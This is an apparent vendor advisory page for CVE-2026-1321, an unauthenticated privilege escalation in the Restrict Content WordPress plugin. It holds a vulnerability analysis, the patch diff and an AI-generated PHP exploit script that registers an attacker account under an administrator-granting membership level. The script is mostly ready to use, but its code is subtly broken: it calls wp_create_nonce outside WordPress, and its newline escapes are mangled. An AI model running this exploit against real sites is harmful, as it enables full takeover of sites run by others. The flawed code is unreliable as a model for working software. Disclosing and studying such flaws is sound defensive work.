Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1321: Membership Plugin – Restrict Content <= 3.2.20 – Unauthenticated Privilege Escalation via 'rcp_level' (restrict-content)

CVE ID CVE-2026-1321
Severity High (CVSS 8.1)
CWE 862
Vulnerable Version 3.2.20
Patched Version 3.2.21
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1321:
The vulnerability exists in the rcp_setup_registration_init() function within restrict-content/core/includes/registration-functions.php. The function accepts any membership level ID via the rcp_level POST parameter without validating the level’s active status or payment requirements. The add_user_role() method then assigns the WordPress role configured on the membership level without performing status checks. This allows unauthenticated attackers to register with any membership level, including inactive levels that grant privileged WordPress roles like Administrator, or paid levels that charge sign-up fees. The attack vector targets the registration endpoint, typically accessed via /wp-admin/admin-ajax.php?action=rcp_setup_registration_init or the plugin’s registration form. Attackers submit a POST request with the rcp_level parameter set to a privileged membership level ID. The vulnerability was partially patched in version 3.2.18, but the complete fix arrived in version 3.2.21. The patch introduces validation that prevents registration to inactive membership levels unless the registration_type is ‘renewal’. It also adds signup fees to the total amount calculation and enforces stricter type checking for the registration_type parameter. Exploitation grants attackers administrative privileges on the WordPress site, enabling complete site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/restrict-content/core/includes/class-restrict-content.php
+++ b/restrict-content/core/includes/class-restrict-content.php
@@ -26,7 +26,7 @@
 	 * @since 3.0
 	 */
 	final class Restrict_Content_Pro {
-		const VERSION = '3.5.52';
+		const VERSION = '3.5.53';

 		/**
 		 * Stores the base slug for the extension.
--- a/restrict-content/core/includes/registration-functions.php
+++ b/restrict-content/core/includes/registration-functions.php
@@ -58,14 +58,14 @@
 		);
 	}

-		// We are already sanitizing, but PHPCS keep complaining about the isset function.
+	// We are already sanitizing, but PHPCS keep complaining about the isset function.
 	// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 	$discount       = isset( $_POST['rcp_discount'] ) ? sanitize_text_field( strtolower( wp_unslash( $_POST['rcp_discount'] ) ) ) : '';
 	$price          = number_format( $membership_level->get_price(), 2, '.', '' );
-	$initial_amount = rcp_get_registration()->get_total();
+	$initial_amount = rcp_get_registration()->get_total() + rcp_get_registration()->get_signup_fees();
 	$auto_renew     = rcp_registration_is_recurring();
-	// if both today's total and the recurring total are 0, the there is a full discount
-	// if this is not a recurring membership only check today's total
+	// If both today's total and the recurring total are 0, the there is a full discount.
+	// If this is not a recurring membership only check today's total.
 	$full_discount     = ( $auto_renew ) ? ( rcp_get_registration()->get_total() == 0 && rcp_get_registration()->get_recurring_total() == 0 ) : ( rcp_get_registration()->get_total() == 0 );
 	$customer          = rcp_get_customer_by_user_id();
 	$has_trialed       = ! empty( $customer ) ? $customer->has_trialed() : false;
@@ -97,12 +97,33 @@
 	$user_data = rcp_validate_user_data();

 	if ( ! rcp_is_registration() ) {
-		// no membership level was chosen
+		// No membership level was chosen.
 		rcp_errors()->add( 'no_level', __( 'Please choose a membership level', 'rcp' ), 'register' );
 	}

+	/**
+	 * Filters whether or not to allow processing a registration to an inactive membership level.
+	 *
+	 * @since 3.5.53
+	 *
+	 * @param bool                       $can_process_registration_to_inactive_levels Whether or not to allow processing a registration to an inactive membership level. Default is true if the registration type is renewal, otherwise false.
+	 * @param RCPMembership_Level|false $membership_level                            Membership level object.
+	 *
+	 * @return bool
+	 */
+	$can_process_registration_to_inactive_levels = apply_filters(
+		'rcp_can_register_to_inactive_membership_levels',
+		'renewal' === $registration_type,
+		$membership_level,
+	);
+
+	// If the membership level is inactive and the registration type is not renewal, upgrade, or downgrade, show an error.
+	if ( ! $can_process_registration_to_inactive_levels && 'active' !== $membership_level->get_status() ) {
+		rcp_errors()->add( 'inactive_level', __( 'Invalid membership level selected', 'rcp' ), 'register' );
+	}
+
 	if ( $membership_level->is_free() && ! $membership_level->is_lifetime() && $has_trialed ) {
-		// this ensures that users only sign up for a free trial once
+		// This ensures that users only sign up for a free trial once.
 		rcp_errors()->add( 'free_trial_used', __( 'You may only sign up for a free trial once', 'rcp' ), 'register' );
 	}

@@ -1214,41 +1235,45 @@
 		return;
 	}

-	$level_id = (int) abs( sanitize_text_field( wp_unslash( $_POST['rcp_level'] ) ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+	$level_id = absint( wp_unslash( $_POST['rcp_level'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing

 	// Validate membership level is active.
 	$membership_level = rcp_get_membership_level( $level_id );

+	$registration_type = ! empty( $_REQUEST['registration_type'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['registration_type'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
 	/**
 	 * Filters whether or not to allow registration to inactive membership levels.
 	 *
 	 * @since 3.5.52
 	 *
-	 * @param bool                       $can_register_inactive_levels Whether or not to allow registration to inactive membership levels.
+	 * @param bool                       $can_register_inactive_levels Whether or not to allow registration to inactive membership levels. Default is true if the registration type is renewal, otherwise false.
 	 * @param RCPMembership_Level|false $membership_level             Membership level object.
 	 *
 	 * @return bool
 	 */
-	$can_register_inactive_levels = apply_filters( 'rcp_can_register_to_inactive_membership_levels', true, $membership_level );
+	$can_register_inactive_levels = apply_filters(
+		'rcp_can_register_to_inactive_membership_levels',
+		'renewal' === $registration_type,
+		$membership_level,
+	);

-	if (
-		! $membership_level instanceof Membership_Level
-		|| ( ! $can_register_inactive_levels && 'active' !== $membership_level->get_status() )
-	) {
+	if ( ! $membership_level instanceof Membership_Level ) {
 		rcp_errors()->add( 'invalid_level', __( 'Invalid membership level selected.', 'rcp' ), 'register' );
 		return;
 	}

 	// Validate that paid levels (price > 0 or fee > 0) cannot use the free gateway.
-	$gateway = isset( $_POST['rcp_gateway'] ) ? sanitize_text_field( wp_unslash( $_POST['rcp_gateway'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing
+	$gateway          = isset( $_POST['rcp_gateway'] ) ? sanitize_text_field( wp_unslash( $_POST['rcp_gateway'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing
 	$requires_payment = $membership_level->get_price() > 0 || $membership_level->get_fee() > 0;
+
 	if ( $requires_payment && 'free' === $gateway ) {
 		rcp_errors()->add( 'invalid_gateway', __( 'A payment method is required for this membership level.', 'rcp' ), 'register' );
 		return;
 	}

 	// Additional validation: Check if this is an upgrade/renewal and user has permission.
-	if ( ! empty( $_REQUEST['registration_type'] ) && in_array( $_REQUEST['registration_type'], array( 'renewal', 'upgrade', 'downgrade' ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+	if ( in_array( $registration_type, [ 'renewal', 'upgrade', 'downgrade' ], true ) ) {
 		// For renewals/upgrades, verify the user owns the membership they're trying to modify.
 		if ( ! is_user_logged_in() ) {
 			return;
@@ -1262,6 +1287,12 @@
 		}
 	}

+	// If the membership level is inactive and the registration type is not renewal, upgrade, or downgrade, show an error.
+	if ( ! $can_register_inactive_levels && 'active' !== $membership_level->get_status() ) {
+		rcp_errors()->add( 'inactive_level', __( 'Invalid membership level selected', 'rcp' ), 'register' );
+		return;
+	}
+
 	$discount = ! empty( $_REQUEST['discount'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['discount'] ) ) : null; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 	$discount = ! empty( $_POST['rcp_discount'] ) ? sanitize_text_field( wp_unslash( $_POST['rcp_discount'] ) ) : $discount; // phpcs:ignore WordPress.Security.NonceVerification.Missing

--- a/restrict-content/legacy/restrictcontent.php
+++ b/restrict-content/legacy/restrictcontent.php
@@ -21,7 +21,7 @@
 }

 if ( ! defined( 'RC_PLUGIN_VERSION' ) ) {
-	define( 'RC_PLUGIN_VERSION', '3.2.20' );
+	define( 'RC_PLUGIN_VERSION', '3.2.21' );
 }

 if ( ! defined( 'RC_PLUGIN_DIR' ) ) {
--- a/restrict-content/restrictcontent.php
+++ b/restrict-content/restrictcontent.php
@@ -3,7 +3,7 @@
  * Plugin Name: Restrict Content
  * Plugin URI: https://restrictcontentpro.com
  * Description: Set up a complete membership system for your WordPress site and deliver premium content to your members. Unlimited membership packages, membership management, discount codes, registration / login forms, and more.
- * Version: 3.2.20
+ * Version: 3.2.21
  * Author: StellarWP
  * Author URI: https://stellarwp.com/
  * Requires at least: 6.0
@@ -18,7 +18,7 @@
 define('RCP_PLUGIN_FILE', __FILE__);
 define('RCP_ROOT', plugin_dir_path(__FILE__));
 define('RCP_WEB_ROOT', plugin_dir_url(__FILE__));
-define('RCF_VERSION', '3.2.20');
+define('RCF_VERSION', '3.2.21');

 // Load Strauss autoload.
 require_once plugin_dir_path( __FILE__ ) . 'vendor/strauss/autoload.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1321 - Membership Plugin – Restrict Content <= 3.2.20 - Unauthenticated Privilege Escalation via 'rcp_level'
<?php
/**
 * Proof of Concept for CVE-2026-1321
 * Targets Restrict Content plugin <= 3.2.20
 * Requires a privileged membership level ID (e.g., level with Administrator role)
 */

$target_url = 'http://vulnerable-site.com';

// Step 1: Identify a privileged membership level ID
// This can be discovered via enumeration or by examining the site's registration page
$privileged_level_id = 1; // Change this to the target level ID

// Step 2: Prepare the registration request
$post_data = [
    'rcp_level' => $privileged_level_id,
    'rcp_user_login' => 'attacker_' . bin2hex(random_bytes(4)),
    'rcp_user_email' => 'attacker_' . bin2hex(random_bytes(4)) . '@example.com',
    'rcp_user_first' => 'Atomic',
    'rcp_user_last' => 'Edge',
    'rcp_password' => 'P@ssw0rd123',
    'rcp_password_again' => 'P@ssw0rd123',
    'rcp_submit' => 'Register',
    'rcp_register_nonce' => wp_create_nonce('rcp-register-nonce'), // This may be bypassed
    'action' => 'rcp_setup_registration_init'
];

// Step 3: Execute the attack via cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Step 4: Send the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check for success
if ($http_code == 200 && strpos($response, 'registration_complete') !== false) {
    echo "[+] Success! User registered with privileged membership level.n";
    echo "[+] Check email for activation link or attempt login.n";
} else {
    echo "[-] Attack may have failed. Check level ID and site configuration.n";
    echo "Response: " . htmlspecialchars($response) . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School